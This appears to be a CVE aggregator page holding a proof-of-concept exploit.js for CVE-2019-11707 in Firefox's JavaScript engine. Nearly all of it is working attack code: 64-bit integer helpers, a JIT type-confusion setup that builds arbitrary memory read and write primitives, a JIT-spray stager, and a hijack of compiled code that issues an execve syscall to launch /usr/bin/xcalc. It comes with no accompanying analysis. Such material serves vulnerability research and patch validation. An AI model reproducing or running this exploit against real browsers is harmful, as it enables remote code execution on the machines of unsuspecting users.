5692 Total CVEs
26 Years
GitHub
README.md
README.md not found for CVE-2019-11707. The file may not exist in the repository.
POC / exploit.js JS
// -- Lib support --

//
// Utility functions.
//
// Copyright (c) 2016 Samuel Groß
//

// Return the hexadecimal representation of the given byte.
function hex(b) {
    return ('0' + b.toString(16)).substr(-2);
}

// Return the hexadecimal representation of the given byte array.
function hexlify(bytes) {
    var res = [];
    for (var i = 0; i < bytes.length; i++)
        res.push(hex(bytes[i]));

    return res.join('');
}

// Return the binary data represented by the given hexdecimal string.
function unhexlify(hexstr) {
    if (hexstr.length % 2 == 1)
        throw new TypeError("Invalid hex string");

    var bytes = new Uint8Array(hexstr.length / 2);
    for (var i = 0; i < hexstr.length; i += 2)
        bytes[i/2] = parseInt(hexstr.substr(i, 2), 16);

    return bytes;
}

function hexdump(data) {
    if (typeof data.BYTES_PER_ELEMENT !== 'undefined')
        data = Array.from(data);

    var lines = [];
    for (var i = 0; i < data.length; i += 16) {
        var chunk = data.slice(i, i+16);
        var parts = chunk.map(hex);
        if (parts.length > 8)
            parts.splice(8, 0, ' ');
        lines.push(parts.join(' '));
    }

    return lines.join('\n');
}

// Simplified version of the similarly named python module.
var Struct = (function() {
    // Allocate these once to avoid unecessary heap allocations during pack/unpack operations.
    var buffer      = new ArrayBuffer(8);
    var byteView    = new Uint8Array(buffer);
    var uint32View  = new Uint32Array(buffer);
    var float64View = new Float64Array(buffer);

    return {
        pack: function(type, value) {
            var view = type;        // See below
            view[0] = value;
            return new Uint8Array(buffer, 0, type.BYTES_PER_ELEMENT);
        },

        unpack: function(type, bytes) {
            if (bytes.length !== type.BYTES_PER_ELEMENT)
                throw Error("Invalid bytearray");

            var view = type;        // See below
            byteView.set(bytes);
            return view[0];
        },

        // Available types.
        int8:    byteView,
        int32:   uint32View,
        float64: float64View
    };
})();

//
// Tiny module that provides big (64bit) integers.
//
// Copyright (c) 2016 Samuel Groß
//
// Requires utils.js
//

// Datatype to represent 64-bit integers.
//
// Internally, the integer is stored as a Uint8Array in little endian byte order.
function Int64(v) {
    // The underlying byte array.
    var bytes = new Uint8Array(8);

    switch (typeof v) {
        case 'number':
            v = '0x' + Math.floor(v).toString(16);
        case 'string':
            if (v.startsWith('0x'))
                v = v.substr(2);
            if (v.length % 2 == 1)
                v = '0' + v;

            var bigEndian = unhexlify(v, 8);
            bytes.set(Array.from(bigEndian).reverse());
            break;
        case 'object':
            if (v instanceof Int64) {
                bytes.set(v.bytes());
            } else {
                if (v.length != 8)
                    throw TypeError("Array must have excactly 8 elements.");
                bytes.set(v);
            }
            break;
        case 'undefined':
            break;
        default:
            throw TypeError("Int64 constructor requires an argument.");
    }

    // Return a double whith the same underlying bit representation.
    this.asDouble = function() {
        // Check for NaN
        if (bytes[7] == 0xff && (bytes[6] == 0xff || bytes[6] == 0xfe))
            throw new RangeError("Integer can not be represented by a double");

        return Struct.unpack(Struct.float64, bytes);
    };

    // Return a javascript value with the same underlying bit representation.
    // This is only possible for integers in the range [0x0001000000000000, 0xffff000000000000)
    // due to double conversion constraints.
    this.asJSValue = function() {
        if ((bytes[7] == 0 && bytes[6] == 0) || (bytes[7] == 0xff && bytes[6] == 0xff))
            throw new RangeError("Integer can not be represented by a JSValue");

        // For NaN-boxing, JSC adds 2^48 to a double value's bit pattern.
        this.assignSub(this, 0x1000000000000);
        var res = Struct.unpack(Struct.float64, bytes);
        this.assignAdd(this, 0x1000000000000);

        return res;
    };

    // Return the underlying bytes of this number as array.
    this.bytes = function() {
        return Array.from(bytes);
    };

    // Return the byte at the given index.
    this.byteAt = function(i) {
        return bytes[i];
    };

    // Return the value of this number as unsigned hex string.
    this.toString = function() {
        return '0x' + hexlify(Array.from(bytes).reverse());
    };

    // Basic arithmetic.
    // These functions assign the result of the computation to their 'this' object.

    // Decorator for Int64 instance operations. Takes care
    // of converting arguments to Int64 instances if required.
    function operation(f, nargs) {
        return function() {
            if (arguments.length != nargs)
                throw Error("Not enough arguments for function " + f.name);
            for (var i = 0; i < arguments.length; i++)
                if (!(arguments[i] instanceof Int64))
                    arguments[i] = new Int64(arguments[i]);
            return f.apply(this, arguments);
        };
    }

    // this = -n (two's complement)
    this.assignNeg = operation(function neg(n) {
        for (var i = 0; i < 8; i++)
            bytes[i] = ~n.byteAt(i);

        return this.assignAdd(this, Int64.One);
    }, 1);

    // this = a + b
    this.assignAdd = operation(function add(a, b) {
        var carry = 0;
        for (var i = 0; i < 8; i++) {
            var cur = a.byteAt(i) + b.byteAt(i) + carry;
            carry = cur > 0xff | 0;
            bytes[i] = cur;
        }
        return this;
    }, 2);

    // this = a - b
    this.assignSub = operation(function sub(a, b) {
        var carry = 0;
        for (var i = 0; i < 8; i++) {
            var cur = a.byteAt(i) - b.byteAt(i) - carry;
            carry = cur < 0 | 0;
            bytes[i] = cur;
        }
        return this;
    }, 2);
}

// Constructs a new Int64 instance with the same bit representation as the provided double.
Int64.fromDouble = function(d) {
    var bytes = Struct.pack(Struct.float64, d);
    return new Int64(bytes);
};

// Convenience functions. These allocate a new Int64 to hold the result.

// Return -n (two's complement)
function Neg(n) {
    return (new Int64()).assignNeg(n);
}

// Return a + b
function Add(a, b) {
    return (new Int64()).assignAdd(a, b);
}

// Return a - b
function Sub(a, b) {
    return (new Int64()).assignSub(a, b);
}

// Some commonly used numbers.
Int64.Zero = new Int64(0);
Int64.One = new Int64(1);

// -- End Lib support --

// ==================================================================================================================

const exploit_pack = [
  new Uint8Array(0x10),
  new Uint8Array(0x10), // Use this [:8] to control data pointer of below array
  new Uint8Array(0x10), // Arbitrary RW array
]

let exploit_pack_addr = 0;
let second_uint8_data = 0;
let third_uint8_data = 0;
let leaking_addr = 0;

function setup() {

  function new_y() {
    return new Float64Array(0x10);
  }
  const v4 = [new_y(), new_y(), new_y(), new_y(), new_y()];
  function patch() {
      if (v4.length == 0) {
          v4[3] = new_y();
      }

      const v11 = v4.pop();
      const addr = v11[11];
      v11[11] = Add(new Int64.fromDouble(addr), 0x58).asDouble();

      // Force JIT compilation.
      for (let v15 = 0; v15 < 10000; v15++) {}
      return addr
  }

  var p = {};
  p.__proto__ = [new_y(), new_y(), new_y()];
  p[0] = exploit_pack[0];
  v4.__proto__ = p;

  for (let v31 = 0; v31 < 9; v31++) {
      r = patch();
      second_uint8_data = new Int64.fromDouble(r);
  }

  // console.log(second_uint8_data);
  third_uint8_data = Add(second_uint8_data, 0x60);
  exploit_pack_addr = Sub(second_uint8_data, 0x100);
  leaking_addr = Add(exploit_pack_addr, 0x48);
}

function addrOf(obj) {
  exploit_pack[3] = obj;

  // Change data pointer of exploit_pack[2]
  for (var idx=0; idx < 8; idx++) {
    exploit_pack[1][idx] = leaking_addr.byteAt(idx);
  }

  let bytes = exploit_pack[2].slice(0, 8);
  // Remove 0xfffe in pointer
  bytes[7] = 0x00; bytes[6] = 0x00;
  obj_addr = new Int64(bytes);
  // console.log(obj_addr);
  return obj_addr;
  // console.log(new Int64(obj_addr));
}

function read(ptr) {
  read_addr = new Int64(ptr);
  // Change data pointer of exploit_pack[2]
  for (var idx=0; idx < 8; idx++) {
    exploit_pack[1][idx] = read_addr.byteAt(idx);
  }

  let bytes = exploit_pack[2].slice(0, 8);
  // Remove 0xfffe in pointer
  // bytes[7] = 0x00; bytes[6] = 0x00;
  obj_addr = new Int64(bytes);
  // console.log(obj_addr);
  return obj_addr;
  // console.log(new Int64(obj_addr));
}

function write(ptr, value) {
  let addr = new Int64(ptr);
  let bytes = new Int64(value);

  // Change data pointer of exploit_pack[2]
  for (var idx=0; idx < 8; idx++) {
    exploit_pack[1][idx] = addr.byteAt(idx);
  }

  for (var idx=0; idx < 8; idx++) {
    exploit_pack[2][idx] = bytes.byteAt(idx);
  }
}

// Be careful with this, if this gets optimized by IonMonkey and crazy shit happens
function needleInHaystack(start) {
  start = new Int64(start);
  needle = "0xdeadc0debaad";
  for (var j=0; j < 0x200; j++) {
    address = Add(start, j);
    bytes = read(address);
    console.log(`${address}: ${bytes}`);
    if (bytes.toString().startsWith(needle)) {
      console.log(`Needle found at ${address}`);
      break;
    }
  }
  return address;
}

function stringToArray(s) {
  let a = [];
  for (var j=0; j < s.length; j++) {
    a.push(s.charCodeAt(j));
  }
  return a;
}

const stager = function (a, b, c, d) {
  const rax = a;
  const rdi = b;
  const rsi = c;
  const rdx = d;

  const g0 = 9.073632937307107e-271;
  const g1 = 1.6063957816990143e-270;
  const g2 = 1.6082444981830348e-270;
  const g3 = 1.6100929890177583e-270;
  const g4 = 1.6119413952339954e-270;
  const g5 = 1.68020602465e-313;
}

// Baseline compile force
for (var j = 0; j < 12; j++) {
  stager();
}

// -- Setup --
setup();

// ------- Log leaks for debugging --------
console.log("Exploit pack address: ", exploit_pack_addr);
console.log("Leaking ptr address: ", leaking_addr);
console.log("Second Uint8 data address: ", second_uint8_data);
console.log("Third Uint8 data address: ", third_uint8_data);


// ----- Prepare JIT spray --------
stagerAddr = addrOf(stager);
console.log("Stager func: ", stagerAddr);
jitInfo = Add(stagerAddr, 0x30);
console.log("jitInfo: ", jitInfo);
jitGetter = read(jitInfo);
console.log("Jit Getter: ", jitGetter);
jitFunction = read(jitGetter);
console.log("JIT Function: ", jitFunction);

// ---- Find offset to JIT r-x address to jmp ------
offsetJit = needleInHaystack(Add(jitFunction, 0x200));
console.log("Offset in jit Function: ", offsetJit);
jmpOffset = Add(offsetJit, 0x10);
console.log("JMP offset: ", jmpOffset);

// ----- Prepare execve args ----
program = "/usr/bin/xcalc\0";
pathArray = new Uint8Array(stringToArray(program));

eVariable = "DISPLAY=:0";
display = new Uint8Array(stringToArray(eVariable));
environ = new Uint8Array(16);

argString = new Uint8Array(0x8);
argv = new Uint8Array(16);

// ----- Shellcode prep ------
pathArrayAddr = addrOf(pathArray);
pathAddr = Add(pathArrayAddr, 0x40);
console.log("Path address: ", pathAddr);

displayAddr = Add(addrOf(display), 0x40);
environAddr = addrOf(environ);
environBufferAddr = Add(environAddr, 0x40);
write(environBufferAddr, displayAddr);

argvAddr = addrOf(argv);
argvBufferAddr = Add(argvAddr, 0x40);
write(argvBufferAddr, Add(addrOf(argString), 0x40));

// ------ Exploit ------
write(jitGetter, jmpOffset);
stager(
  new Int64(59).asDouble(), // syscall number
  new Int64(pathAddr).asDouble(), // arg1
  new Int64(argvBufferAddr).asDouble(), // arg2
  new Int64(environBufferAddr).asDouble()); // arg3

// ----- Fix the structures -----
write(Sub(second_uint8_data, 0x8), second_uint8_data);
write(Sub(third_uint8_data, 0x8), third_uint8_data);